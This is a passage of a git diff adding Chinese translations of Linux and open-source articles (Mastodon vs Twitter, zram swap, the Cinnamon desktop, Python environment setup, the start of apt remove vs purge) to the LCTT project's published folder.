的翻译工作来首次体验如何参与开源,这几乎简单到你只需要懂一点点英文和一些热情,本文就是由开源贡献者翻译贡献而成的。入口在此: https://linux.cn/lctt/ + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/11/get-started-open-source + +作者:[Katie Edwards][a] +选题:[lkxed][b] +译者:[yzuowei](https://github.com/yzuowei) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/kaedward +[b]: https://github.com/lkxed +[1]: https://opensource.com/resources/what-open-source +[2]: https://opensource.com/resources/what-is-git +[3]: https://opensource.org/osd +[4]: https://opensource.com/life/16/1/8-ways-contribute-open-source-without-writing-code +[5]: https://opensource.com/article/18/4/get-started-open-source-project +[6]: https://opensource.com/article/22/8/non-code-contribution-powers-open-source +[7]: https://up-for-grabs.net/?ref=hackernoon.com#/ +[8]: https://github.com/MunGell/awesome-for-beginners +[9]: https://github.com/patternfly +[10]: https://www.patternfly.org/v4/get-started/design +[11]: https://img.linux.net.cn/data/attachment/album/202301/30/110936lhhk216wajijdh22.jpg \ No newline at end of file diff --git a/published/202301/20221110.6 ⭐️⭐️ 4 key differences between Twitter and Mastodon.md b/published/202301/20221110.6 ⭐️⭐️ 4 key differences between Twitter and Mastodon.md new file mode 100644 index 0000000000..8bac69128c --- /dev/null +++ b/published/202301/20221110.6 ⭐️⭐️ 4 key differences between Twitter and Mastodon.md @@ -0,0 +1,84 @@ +[#]: subject: "4 key differences between Twitter and Mastodon" +[#]: via: "https://opensource.com/article/22/11/twitter-vs-mastodon" +[#]: author: "Don Watkins https://opensource.com/users/don-watkins" +[#]: collector: "lkxed" +[#]: translator: "onionstalgia" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15486-1.html" + +Twitter 和 Mastodon 的四个关键区别 +====== + +![][0] + +> Mastodon 并不是一家公司。所有 Mastodon 实例都由各自所属服务器的贡献者负责支持维护的。以下是它的一些其他优势。 + +社交媒体并不总是社交性的,有时我们还需要足够的推动力来改变我们工作和阅读的内容。我在 2008 年开始使用 Twitter 作为 RSS 阅读器的替代品,这彻底颠覆了我那时的阅读和学习方式。世界各地的教育家和自由与开放源码(FOSS)倡导者的推文让我了解并参与到一个无与伦比的学习网络中。但这在过去的六年间,事情发生了变化,以及最近它的所有权发生了变化,造成我阅读的内容更多是由算法驱动的,而不是出于我个人的兴趣和选择。在几年前的 Opensource.com 记者编辑碰头会中,[Seth Kenlon][1] 建议我试试 [Mastodon][2]。于是我在 2019 年加入了 [Fosstodon][3]。Fosstodon 是一个专为喜欢自由和开源软件的同好们搭建的实例。 + +### Mastodon 与 Twitter 对比 + +作为一个墨守成规的人,改变对我来说并不容易,尽管 Twitter 变得越来越让人厌倦,我还一直在使用。可是到了 2022 年的春天,Twitter 的出售危机让我重新考虑使用 Fosstodon 了。 + +### 1、收藏而不是点赞 + +Mastodon 的界面与 Twitter 很相似。但在 Mastodon上,你不是“点赞”一个帖子,而是通过点击帖子下方的星标来“收藏”一个帖子。 + +![Favorite button][4] + +### 2、分享帖子 + +在 Twitter 上,重新分享是“转推retweet”,但在 Mastodon,它是“转嘟boost”。你可以点击帖子下方的双箭头图标来转嘟。 + +![Boost button][5] + +### 3、Mastodon 实例 + +任何人都可以运行一个 Mastodon 实例,这让不同的实例上发展出了独特的社区(类似在 Twitter 上围绕特定标签形成的社区,不过 Mastodon 也有标签),有些实例有一套独特的规则。举个例子,和我以前的社交网络不同,Fosstodon 上采取了内容审核制度。最初这让我觉得有些严格,我发了一个与自由与开放源码软件无关的帖子,然后帖子就被删除了。我被告知的删除原因是,我没有给帖子打上 “内容警告”。这惹怒了我,于是我尝试寻找别的实例,发现了几个更符合我胃口的。其中一个是 [Mastodon.social][6],另一个是 [Scholar.social][7],前者是一个泛用的实例,没有预设的发帖主题,后者则是一个学术专用的实例。当然,他们也都制定有严格的行为规范。 + +每个实例都有规则,虽然在表述上略有不同,但都清楚地说明了可以接受和不可接受的行为。Fosstodon 公布了它的 [行为规范][8],确立了站点的规则和预期。 + +### 4、开源社交网络 + +如果你也想运行自己的 Mastodon 实例或协助开发一个,好消息是,Mastodon 是开源的。它使用 AGPLv3 许可证,它的源代码可以在 [Git 仓库][9] 获得。Mastodon 使用 [ActivityPub][10] 协议与世界各地的服务器通信。 + +Mastodon 不是互联网上的单一的网站,而是一系列横跨全球并相互通信的网站们。这个联邦网络被称为 “联邦宇宙Fediverse”。不像其他社交网站有单一的所有者,任何人都可以在服务器上运行 Mastodon 或者其他 ActivityPub 协议网站。 + +从用户的角度来看,这一开始时其实并不重要。你可以在任何 Mastodon 实例上注册,然后连接到其余所有的实例。 + +不过,这种分布式设计是有其好处的。如果你碰见一个实例上的社区内容你不想看,你可以从屏蔽该实例中的某个用户,或者屏蔽整个实例。 + +过去的一个月里,我又回到了 Fosstodon,主要还是因为我热衷开源。我很享受在 Fosstodon 上分享开源内容,而 Fosstodon 上的其他用户也都能乐于看到关于自由和开源软件的帖子。当我有一些内容不适合在 Fosstodon 上分享时,我会分享到 Scholar.social 或者 Mastodon.social 上。 + +不是所有的实例都有关注的主题,即便是那些有主题的实例,主题常常也是仅作参考,而不是严格作为删帖的依据。如果你有特定的兴趣,也许就能找到一个围绕这个话题建立的社区,然后马上就能收获及时的关注。当然,你也依然能够与其他实例的用户交流。 + +### 试试 Mastodon + +Mastodon 不是一家公司,所有 Mastodon 实例都是由各自所属的服务器的贡献者负责支持维护的。有些能很容易地通过 Patreon 或 PayPal 提供支持。 + +我发现,联邦宇宙是个很温馨的地方,把快乐带回给了社交网络。你加入了 Mastodon 了吗?有没有什么收获?请在评论中告诉我们。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/11/twitter-vs-mastodon + +作者:[Don Watkins][a] +选题:[lkxed][b] +译者:[onionstalgia](https://github.com/onionstalgia) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/don-watkins +[b]: https://github.com/lkxed +[1]: https://opensource.com/users/seth +[2]: https://joinmastodon.org/ +[3]: https://fosstodon.org/about/ +[4]: https://opensource.com/sites/default/files/2022-11/favorite-button.webp +[5]: https://opensource.com/sites/default/files/2022-11/boost-button.webp +[6]: https://mastodon.social/about +[7]: https://scholar.social/about/more +[8]: https://hub.fosstodon.org/coc/ +[9]: https://github.com/mastodon/mastodon +[10]: https://en.wikipedia.org/wiki/ActivityPub +[0]: https://img.linux.net.cn/data/attachment/album/202301/28/093152q9c5yeo9dyebp2mj.jpg \ No newline at end of file diff --git a/published/202301/20221111.4 ⭐️⭐️ Drop swap for zram on Linux.md b/published/202301/20221111.4 ⭐️⭐️ Drop swap for zram on Linux.md new file mode 100644 index 0000000000..16f7e92bcb --- /dev/null +++ b/published/202301/20221111.4 ⭐️⭐️ Drop swap for zram on Linux.md @@ -0,0 +1,194 @@ +[#]: subject: "Drop swap for zram on Linux" +[#]: via: "https://opensource.com/article/22/11/zram-swap-linux" +[#]: author: "David Both https://opensource.com/users/dboth" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15487-1.html" + +在 Linux 上用 zram 替代传统交换空间 +====== + +![][0] + +> zram 是一个用于创建内存压缩缓存的工具,特别是可以用作交换空间。 + +我在我的电脑上花了很多时间(我是说工作),我发现了很多有趣的东西。其中最近引起我注意的是 `zram0` 设备。我是在几个月前写一篇文章时第一次注意到它,它显示在 `lsblk` 命令的输出中: + +``` +# lsblk +NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINTS +sda 8:0 0 931.5G 0 disk +├─sda1 8:1 0 600M 0 part +[...] +zram0 252:0 0 8G 0 disk [SWAP] +``` + +它被识别为交换空间,这就是首先引起我的好奇心的原因,所以我做了一些研究。zram 最初被称为 “压缩缓存compcache”,即 “压缩的高速缓存”。事实证明,zram 是一个用于创建内存内压缩缓存的工具,特别是作为交换空间使用。 + +但为什么呢? + +当我开始研究 zram 时,我只发现了几篇关于将 zram 用于交换空间的基础文章。起初,这对我来说似乎有点违反直觉。毕竟,如果你的内存快用完了,你把页面交换到内存中的虚拟驱动器中,有什么好处呢? + +然后我找到了 Fedora 项目的维基页面,它提议使用 [zram 交换空间][1]swap-on-zram。该建议说:“交换是有用的,除了它的速度很慢。zram 是一个使用了压缩的内存驱动器。在启动时创建一个 zram 交换空间,并且不再使用默认的交换分区。” + +该页面的其余部分是关于它的细节、好处、副作用和反馈。 + +### Linux 上用于交换空间的 zram + +使用 zram 作为交换空间,与常规的基于分区或基于文件的交换空间做的事情相同。当内存压力过大时,一些最近使用最少的数据会被移到交换空间。平均来说,它会被压缩到其原始大小的 50% 左右,并被放置在内存的 zram 空间中。这比将这些内存页存储在硬盘上要快得多,并可以释放出它所使用的内存用于其他用途。 + +### 节省交换空间 + +我试图找到关于配置多少交换空间或 zram 交换空间的总结建议。这使我重新回顾了交换空间的设置,以及我之前的文章《[现代 Linux 系统的正确交换空间是多少?][2]》。就我所知,从 RHEL 和 Fedora 的最新文档来看,推荐的交换空间数量并没有改变。不过,该文档忽略了 zram 的使用。 + +然而,在不使用 zram 的旧版 Linux 或 zram 被禁用的情况下,之前文章中的表格仍然为交换空间的分配提供了一个好的起点。 + +我找到的关于 zram 功能的文档在 zram 如何根据内存大小分配空间,以及分配给 zram 交换空间的数量方面是不一致的。 + +由于缺乏权威性的文档,我进行了一些实验来凭经验确定用于分配 zram 交换空间的算法。我为此使用了我自己的物理和虚拟系统。结果很有趣,与我迄今为止发现的任何文档都不一致。 + +在所有足够大的系统上,zram 的默认大小是 8GB,但在内存较小的主机上通常会大大减少。在我用于测试的一台虚拟机(VM)上,可以访问 4GB 的内存,zram 的虚拟交换空间被分配为 3.8GB。我的一台旧戴尔电脑拥有 8GB 的内存,zram 被设置为 7.6GB。当内存减少到 2GB 时,zram 就减少到 1.9GB。 + +我拥有的所有内存超过 8GB 的物理和虚拟主机都显示正好是 8GB 的 zram。这包括我拥有 64GB 内存的主工作站和其他拥有 16GB 或 32GB 内存的主机。 + +基于这几个数据点,我可以得出这样的结论:目前的默认设置是最多 8GB 的 zram,而在 8GB 或以下的主机上,zram 占内存的 95%。 + +我读过一些文章,其中提到了 zram 交换空间的其他大小,甚至高达 100% 的内存,但这些似乎都是理论上的,而不是现实。 + +你的发行版可能不同,但这里是 Fedora 和类似发行版的实际 zram 交换空间的分配情况: + +- 内存 ⇐ 8 GB:0.95 × 内存 +- 内存 > 8 GB:8 GB + +请注意,zram 交换空间大小的算法并没有基于对任何给定的现实世界的系统或应用程序的 “最佳” 交换大小的建议。这种 zram 交换空间的分配是一种相当概率性的方法,它应该在广泛的 Linux 主机上运行良好。然而,最大的 zram 交换空间大小被配置为 8GB,而且我一直推荐 8GB 作为传统交换空间的最大容量,我想我可以说它反映了 zram 交换空间的最佳大小。 + +### 管理 zram 交换空间 + +zram 的默认值保存在 `/usr/lib/systemd/zram-generator.conf` 配置文件中。以下是我的一个测试虚拟机,分配了 5097GB 的内存。 + +``` +# cat /usr/lib/systemd/zram-generator.conf +# This config file enables a /dev/zram0 device with the default settings: +# - size - same as available RAM or 8GB, whichever is less +# - compression - most likely lzo-rle +# +# To disable, uninstall zram-generator-defaults or create empty +# /etc/systemd/zram-generator.conf file. +[zram0]zram-size= min(ram, 8192) +``` + +你可以在 `zram-generator.conf` 配置文件的最后一行改变默认的 zram 交换空间大小。但我建议不要这样做,除非你能明确说明这样做的原因,并在你做任何改变后测试你的结果。像 Linux 中的许多其他配置默认值一样,zram 的默认值已经被很好地测试过了,适合大多数使用情况。 + +### 监控 zram + +可以使用 `zramctl` 工具来查看 zram 的当前状态。 + +``` +# zramctl +NAME       ALGORITHM DISKSIZE DATA COMPR TOTAL STREAMS MOUNTPOINT +/dev/zram0 lzo-rle       4.8G   4K   80B   12K       4[SWAP] +``` + +传统的 `swapon` 命令也可以用来查看交换,包括作为交换使用的 zram: + +``` +# swapon --show +NAME       TYPE      SIZE USED PRIO +/dev/zram0 partition 4.8G   0B  100 +``` + +需要注意的是,`zramctl` 在不包含数据时不报告 zram,所以结果会包含空输出。而像 `lsblk`、`swapon`、 `top`、`free`、`htop` 等工具,即使不包含数据,也会显示 zram。 + +### 停用 zram + +`swapoff -a` 命令会关闭 zram 交换空间以及用作交换的传统 HDD 或 SSD 存储。`swapon -a` 命令在 zram 为空时不显示它,可以使用 `zramctl /dev/zram0` 代替。 + +``` +# swapon --show# lsblk +NAME          MAJ:MIN RM  SIZE RO TYPE MOUNTPOINTS +sda             8:00  120G  0 disk +├─sda1          8:10    1G  0 part /boot/efi +├─sda2          8:20    1G  0 part /boot +└─sda3          8:30  118G  0 part +  ├─vg01-root 253:00   10G  0 lvm  / +  ├─vg01-swap 253:10    3G  0 lvm  [SWAP] +  ├─vg01-usr  253:10   30G  0 lvm  /usr +  ├─vg01-home 253:20   10G  0 lvm  /home +  ├─vg01-var  253:30   30G  0 lvm  /var +  └─vg01-tmp  253:40   10G  0 lvm  /tmp +sr0            11:01 1024M  0 rom +zram0         252:00    0B  0 disk +# zramctl## zramctl /dev/zram0 +NAME       ALGORITHM DISKSIZE DATA COMPR TOTAL STREAMS MOUNTPOINT +/dev/zram0 lzo-rle         0B   0B    0B    0B       4 +``` + +注意,`/dev/zram0` 在这些命令中并没有显示为交换空间,直到它被用于该目的。这给我造成了一些困惑,直到我的实验表明这是事实。 + +### 创建 zram 交换空间 + +zram 本身已经存在了大约 20 年,但只是在过去的一两年里才在一些发行版上作为交换空间使用。你的一些或所有主机上当前的 Linux 环境可能没有用 zram 创建交换空间。如果是这种情况,它可以很容易地被补救。 + +对于 Fedora 32,它是默认使用 zram 交换空间之前的最后一个版本,它只需要三个简单的命令。 + +首先,验证是否存在 `zram-swap.service` 文件,它作为 `zram` RPM 包的一部分安装: + +``` +# systemctl status zram-swap +● zram-swap.service - Enable compressed swap in memory using zram +     Loaded: loaded (/usr/lib/systemd/system/zram-swap.service; disabled; vendor preset: disabled) +     Active: inactive (dead) +``` + +接下来,安装 `zram-generator-defaults` 和 `zram-generator` 软件包: + +``` +# dnf install zram-generator-defaults zram-generator +``` + +启用并启动 `zram-swap` 服务: + +``` +# systemctl enable zram-swap.service# systemctl start zram-swap.service +``` + +然后验证 `zram0` 是否存在并被用作交换空间: + +``` +# lsblk +NAME          MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT +sda             8:00  120G  0 disk +├─sda1          8:10    2G  0 part /boot +└─sda2          8:20  118G  0 part +  ├─vg01-root 253:00   10G  0 lvm  / +  ├─vg01-swap 253:10    3G  0 lvm  [SWAP] +  ├─vg01-usr  253:20   35G  0 lvm  /usr +  ├─vg01-tmp  253:30   15G  0 lvm  /tmp +  ├─vg01-var  253:40   35G  0 lvm  /var +  └─vg01-home 253:50   20G  0 lvm  /home +sr0            11:01 1024M  0 rom +zram0         252:00  7.5G  0 disk [SWAP] +``` + +### 用 zram 改进交换空间 + +这就是全部内容了。在 Fedora 上这很容易。不同的发行版可能也一样简单,只是软件包名称和命令的细节可能不同。在你的电脑上试试 zram 交换空间吧。在我的下一篇文章中,我将进一步演示一些 zram 选项。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/11/zram-swap-linux + +作者:[David Both][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/dboth +[b]: https://github.com/lkxed +[1]: https://fedoraproject.org/wiki/Changes/SwapOnZRAM +[2]: https://opensource.com/article/19/2/swap-space-poll +[0]: https://img.linux.net.cn/data/attachment/album/202301/28/113826twvkkbrso9ws2kss.jpg \ No newline at end of file diff --git a/published/202301/20221119.0 ⭐️⭐️ 7 Reasons Why Cinnamon is a Fantastic (Yet Underrated) Linux Desktop Environment.md b/published/202301/20221119.0 ⭐️⭐️ 7 Reasons Why Cinnamon is a Fantastic (Yet Underrated) Linux Desktop Environment.md new file mode 100644 index 0000000000..efe41ce13d --- /dev/null +++ b/published/202301/20221119.0 ⭐️⭐️ 7 Reasons Why Cinnamon is a Fantastic (Yet Underrated) Linux Desktop Environment.md @@ -0,0 +1,190 @@ +[#]: subject: "7 Reasons Why Cinnamon is a Fantastic (Yet Underrated) Linux Desktop Environment" +[#]: via: "https://itsfoss.com/why-cinnamon/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15450-1.html" + +Cinnamon 是一个被低估的神奇 Linux 桌面环境 +====== + +![][0] + +> Linux Mint 是我最喜欢的发行版之一,其旗舰版的默认 Cinnamon 桌面是我如此喜欢它的原因。 + +Cinnamon 桌面提供的用户体验可能并不炫目花哨。但是,用户有充分的理由喜欢这个桌面环境,并可以轻松地用它来完成工作。 + +在日复一日工作中,我们想要的是,一个能按预期工作且不造成妨碍的用户界面。 + +我认为 Cinnamon 桌面做对了几件事,可以给你带来了令人兴奋的体验。让我在这里介绍其中一些。 + +> 如果你还不知道,Cinnamon 桌面是由 Linux Mint 的创建者 Clement Lefebvre 于 2011 年创建的 GNOME 3 复刻版,并经过多年的改进。 + +### 1、熟悉的用户界面 + +![Linux Mint 21][1] + +构建 Cinnamon 的主要目的是为了保持 GNOME 2 的桌面风格。 + +而这就是为什么与最流行的消费级桌面操作系统 Windows 相比,你会看到一个熟悉的桌面布局。 + +当然,随着时间的推移,Windows 11 已经进化了它的通常布局。但是,访问开始菜单、任务栏、托盘中的系统图标和几个窗口装饰使其易于掌握。 + +无论你是 Windows 用户还是 macOS 用户,Cinnamon 的桌面布局都不应该让你感到有什么挑战。 + +![Linux Mint 欢迎屏幕][2] + +为了进一步帮助你,Linux Mint 的 “欢迎屏幕” 为你迅速提供了各种信息。 + +### 2、轻量级 + +为了获得舒适的 Cinnamon 桌面体验(通常使用 Linux Mint),有以下最低系统要求: + +- 4GB 内存 +- 100 GB 的磁盘空间 +- 1024×768 分辨率的屏幕 + +在现代计算时代,这些规格应该适合几乎所有人。所以,你不必担心需要一个疯狂的内存或磁盘空间来运行由 Cinnamon 驱动的 Linux 发行版。 + +当然,你可以尝试 [在 Ubuntu 上安装 Cinnamon 桌面][3]。 + +但是,在本文中,我们认为 Linux Mint 是理想的使用案例。 + +### 3、快速的性能而不牺牲用户体验 + +当我们想到一个轻量级的桌面环境时,我们通常会想象一个注重性能的、平淡无奇的用户界面。 + +![Linux Mint 首选项][4] + +在 Cinnamon 桌面上,情况并非如此。它确实包括了各种细微的动画和特色的图标/主题,即使不是最好的,其外观也相当现代。 + +它以极简的方式让你看起来很赏心悦目。 + +通常情况下,我很喜欢漂亮的用户界面,但我仍然可以接受 Linux Mint 的简单直接的用户体验,并在双显示器设置(1440p + 1080p)上运行它。 + +它可能不是 Linux Mint Cinnamon 版最好的双显示器体验(对我来说,第二个屏幕上没有停靠区和面板),但需要改进地方不多。 + +### 4、默认的自定义选项 + +你可能已经知道,在提供开箱即用的定制能力方面,KDE 可能是最棒的。 + +如果你对这种方式感到好奇,我们有超级有用的指南: + +- [KDE 定制指南][5] +- [如何正确地给 KDE Plasma 定制主题(深度指南)][6] +- [最佳的 KDE Plasma 华丽主题][7] + +但是,对于许多用户来说,这有些过于复杂了。 + +我认为 Linux Mint 给出了适量的额外控制/定制,你也可以在它的欢迎屏幕上了解到这些。 + +![Cinnamon 主题定制][8] + +一些你可以轻松定制的元素包括: + +- 桌面颜色(强调色) +- 浅色/深色主题切换 +- 面板布局 +- 图标、按钮和鼠标指针 + +你可以前往系统设置,并导航到 “主题”,找到必要的调整项。 + +推荐阅读: + +> **[在 Linux 上定制 Cinnamon 桌面的 7 种方法][9]** + +### 5、为你的体验增色的官方附加组件 + +![Cinnamon 桌面部件][10] + +Linux Mint 支持各种插件来增强你的体验。这些都是 [Cinnamon 调味品][11] 产品的一部分。它们包括: + +- 主题 +- 扩展程序 +- 小程序Applet +- 桌面组件Desklet + +小程序和桌面组件是小型程序,你可以分别在面板(靠近系统托盘)和桌面上添加。 + +![小程序][12] + +你可以管理系统默认的小程序,也可以从官方软件库下载更多的小程序。 + +![小程序][13] + +同样,你可以从可用的默认程序中添加桌面组件,或者从软件库中获得新的。 + +![桌面组件][14] + +大量有价值的实用程序可以用来监控系统资源、检查天气,以及更多。 + +此外,你还可以访问社区构建的各种主题,可以很容易地给你一个你一直想要的外观。 + +![Cinnamon 主题][15] + +通过补充上述所有的 “调味品”,你可以使用扩展来使面板透明,在桌面上添加水印,启用窗口平铺,并添加一些令人兴奋的窗口动画。 + +![Linux Mint 扩展][16] + +### 6、兼容和无缝的用户体验 + +为什么我再次强调用户体验? + +Cinnamon 桌面最棒的地方在于它以尊重和支持所有功能的方式发展。 + +例如,如果你想安装一个你在 KDE Plasma 上喜欢使用的应用程序,它在这里也应该以同样的方式工作。Cinnamon 桌面没有什么特别之处,会破坏这种体验。 + +![GNOME 账户应用][17] + +同样地,该桌面增加了一些试图与其他桌面环境的服务共存的功能。例如,支持使用 GNOME 在线账户的日历事件。 + +### 7、面板定制 + +![Linux Mint 面板][18] + +停靠区、任务栏或面板是用户界面的一个组成部分。 + +是的,其他的桌面环境也允许你在某种程度上同样定制这些。但在 Cinnamon 中,你可以得到大量的控制权来调整它。 + +我认为你可以得到一个用户想要的所有基本选项。 + +### 总结 + +GNOME 和 KDE Plasma 是流行的桌面环境。然而,Cinnamon 在提供最佳用户体验的基本部分上并不逊色。 + +你对 Cinnamon 桌面环境有什么看法?你更喜欢用 Linux Mint 来尝试它吗?在下面的评论部分分享你的想法。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/why-cinnamon/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/content/images/wordpress/2022/11/linux-mint-21-full.jpg +[2]: https://itsfoss.com/content/images/wordpress/2022/11/linux-mint-welcome.png +[3]: https://itsfoss.com/install-cinnamon-on-ubuntu/ +[4]: https://itsfoss.com/content/images/wordpress/2022/11/linux-mint-perf.png +[5]: https://itsfoss.com/kde-customization/ +[6]: https://itsfoss.com/properly-theme-kde-plasma/ +[7]: https://itsfoss.com/best-kde-plasma-themes/ +[8]: https://itsfoss.com/content/images/wordpress/2022/11/cinnamon-theme-customize.png +[9]: https://itsfoss.com/customize-cinnamon-desktop/ +[10]: https://itsfoss.com/content/images/wordpress/2022/11/cinnamon-desklet.png +[11]: https://cinnamon-spices.linuxmint.com +[12]: https://itsfoss.com/content/images/wordpress/2022/11/applet-cinnamon.png +[13]: https://itsfoss.com/content/images/wordpress/2022/11/applets-cinnamon.png +[14]: https://itsfoss.com/content/images/wordpress/2022/11/desklet-cinnamon.png +[15]: https://itsfoss.com/content/images/wordpress/2022/11/cinnamon-theme.png +[16]: https://itsfoss.com/content/images/wordpress/2022/11/linux-mint-extensions.png +[17]: https://itsfoss.com/content/images/wordpress/2022/11/gnome-accounts-cinnamon.png +[18]: https://itsfoss.com/content/images/wordpress/2022/11/linux-mint-panel.png +[0]: https://img.linux.net.cn/data/attachment/album/202301/16/164642rr27xxt3zo72t7vl.jpg \ No newline at end of file diff --git a/published/202301/20221121.0 ⭐️⭐️ How to Setup Python Development Environment in Ubuntu and Fedora.md b/published/202301/20221121.0 ⭐️⭐️ How to Setup Python Development Environment in Ubuntu and Fedora.md new file mode 100644 index 0000000000..9f522f918a --- /dev/null +++ b/published/202301/20221121.0 ⭐️⭐️ How to Setup Python Development Environment in Ubuntu and Fedora.md @@ -0,0 +1,140 @@ +[#]: subject: "How to Setup Python Development Environment in Ubuntu and Fedora" +[#]: via: "https://www.debugpoint.com/setup-python-environment-ubuntu-fedora/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15475-1.html" + +如何在 Ubuntu 和 Fedora 中设置 Python 开发环境 +====== + +> 本文将帮助你了解在 Ubuntu 和 Fedora 中设置 Python 开发环境的基础知识和步骤。 + +[Python][1] 由于其强大的库、简单的语法和可移植性,在过去几年中变得很流行。目前几乎所有的企业系统都在使用它。 + +因此,如果你正试图建立你的 Python 环境,并想知道如何开始等等,那么你就找到正确的地方了。在这里,我试图给你一些开始的步骤。 + +### 在 Ubuntu 和 Fedora 中设置 Python 开发环境 + +#### Python 版本 + +如果你刚刚开始 Python 开发,那么建议你使用最新的 Python 3.x 进行开发,因为 Python 2.x 已经不再支持了。几乎所有领先的 Linux 发行版都取消了对 Python 2 的依赖。 + +如果你正在运行 Fedora 或 Ubuntu 的最新发行版,那么你应该已经安装了 Python 3.x,并设置为默认解释器。例如,Fedora 37 和 Ubuntu 22.04 LTS 将 [Python 3.11][2] 作为默认的 Python 交互界面。 + +找到你的 Python 版本的一个快速方法是在 Ubuntu 和 Fedora 的终端运行以下命令: + +``` +python2 +``` + +``` +python3 +``` + +![python3][3] + +如果你运行的是早期版本的 Ubuntu 或 Fedora,那么你可以使用以下命令安装最新的 Python 3.x: + +Ubuntu: + +``` +sudo apt install python3 +``` + +Fedora: + +``` +sudo dnf install python3 +``` + +另外,运行下面的命令,找出当前系统中 Python 可执行文件的路径: + +``` +Which python +``` + +#### 切换默认解释器的版本 + +如果你的系统安装了多个 Python 版本 —— 2.x 和 3.x,并且你想在它们之间切换,也是可以的。  + +如果你只安装了一个版本,你可以跳过这一节。 + +要进行切换,首先,从终端运行 `python`,找出默认的可执行路径。理想情况下,它应该是 `/usr/bin/python`。现在,运行下面的程序,找出通往可执行文件的符号链接: + +``` +ln -l /usr/bin/python +``` + +``` +lrwxrwxrwx 1 root root .... /usr/bin/pyhton -> python2 +``` + +现在检查一下 `$PATH` 变量,确定系统查找可执行文件的路径连接顺序: + +``` +echo $PATH +``` + +![PATH 变量][4] + +你可以看到 `/usr/local/bin` 在 `/usr/bin/` 之前,那么你可以创建一个软符号链接到 `python3`。然后你的解释器在运行 `python` 命令时就会找到最新的 Python 3 而不是 Python 2。  + +``` +ls -s /usr/bin/python3 /usr/local/bin/python +``` + +现在你应该注销并再次登录以清除任何哈希条目,或者你可以运行 `hash -r` 来清除它们。 + +现在你可以从终端运行 `python`,你应该有最新的 Python 3 了。 + +#### Python IDE + +集成开发环境(IDE)可以帮助你编写、编译和执行你的代码。有 [几个免费的 Python 集成开发环境][5] —— 如 PyCharm、Eclipse、Eric 等,你可以使用。但那将是另一篇关于其优点和缺点的文章。  + +如果你从官方 [python.org][1] 网站下载 Python,Python 还带着一个叫做 IDLE 的默认开发环境。IDLE 适合于起步,之后你可以决定选择任何一个最好的免费 Python IDE。 + +在 Ubuntu 和 Fedora 中,IDLE 并没有和 Python 一起被默认包含,你必须手动安装它。从终端运行下面的命令来手动安装 IDLE: + +Ubuntu: + +``` +sudo apt install idle +``` + +Fedora: + +``` +sudo dnf install python-tools +``` + +安装后,你可以从命令行空闲启动 IDLE 或从应用程序中搜索。 + +![IDLE][6] + +现在,你可以使用 IDLE 开始你的开发。大部分的基本选项你可以在 IDLE 的文件菜单中找到。 + +我希望这篇指南解释了你在开始 Python 开发之前应该知道的东西。 尽管本指南主要是针对 Ubuntu 和 Fedora 的,但你仍然可以在所有基于 Ubuntu 和 Fedora 的发行版上参考它。如果你在 Python 环境设置方面遇到问题,请在下面的评论区告诉我。  + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/setup-python-environment-ubuntu-fedora/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.python.org/ +[2]: https://www.debugpoint.com/install-python-3-11-ubuntu/ +[3]: https://www.debugpoint.com/wp-content/uploads/2020/06/python3.jpg +[4]: https://www.debugpoint.com/wp-content/uploads/2020/06/PATH-Variable.png +[5]: https://www.debugpoint.com/5-best-python-ide-code-editor/ +[6]: https://www.debugpoint.com/wp-content/uploads/2020/06/IDLE-environment.png +[7]: https://www.debugpoint.com/bash-base64-encode-decode/ diff --git a/published/202301/20221123.0 ⭐️⭐️ apt remove vs apt purge What’s the Difference.md b/published/202301/20221123.0 ⭐️⭐️ apt remove vs apt purge What’s the Difference.md new file mode 100644 index 0000000000..9280c9f794 --- /dev/null +++ b/published/202301/20221123.0 ⭐️⭐️ apt remove vs apt purge What’s the Difference.md @@ -0,0 +1,124 @@ +[#]: subject: "apt remove vs apt purge: What’s the Difference?" +[#]: via: "https://itsfoss.com/apt-remove/" +[#]: author: "Abhishek Prakash https://itsfoss.com/" +[#]: collector: "lkxed" +[#]: translator: "Tingze-G" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15458-1.html" + +apt remove 和 apt purge: 有什么区别? +====== + +![][0] + +如果你想 [在 Ubuntu 上使用终端卸载软件][1],可以使用: + +``` +sudo apt remove package_name +``` + +但是在很多论坛,你可能会看到别人说,如果你想彻底删除软件就用 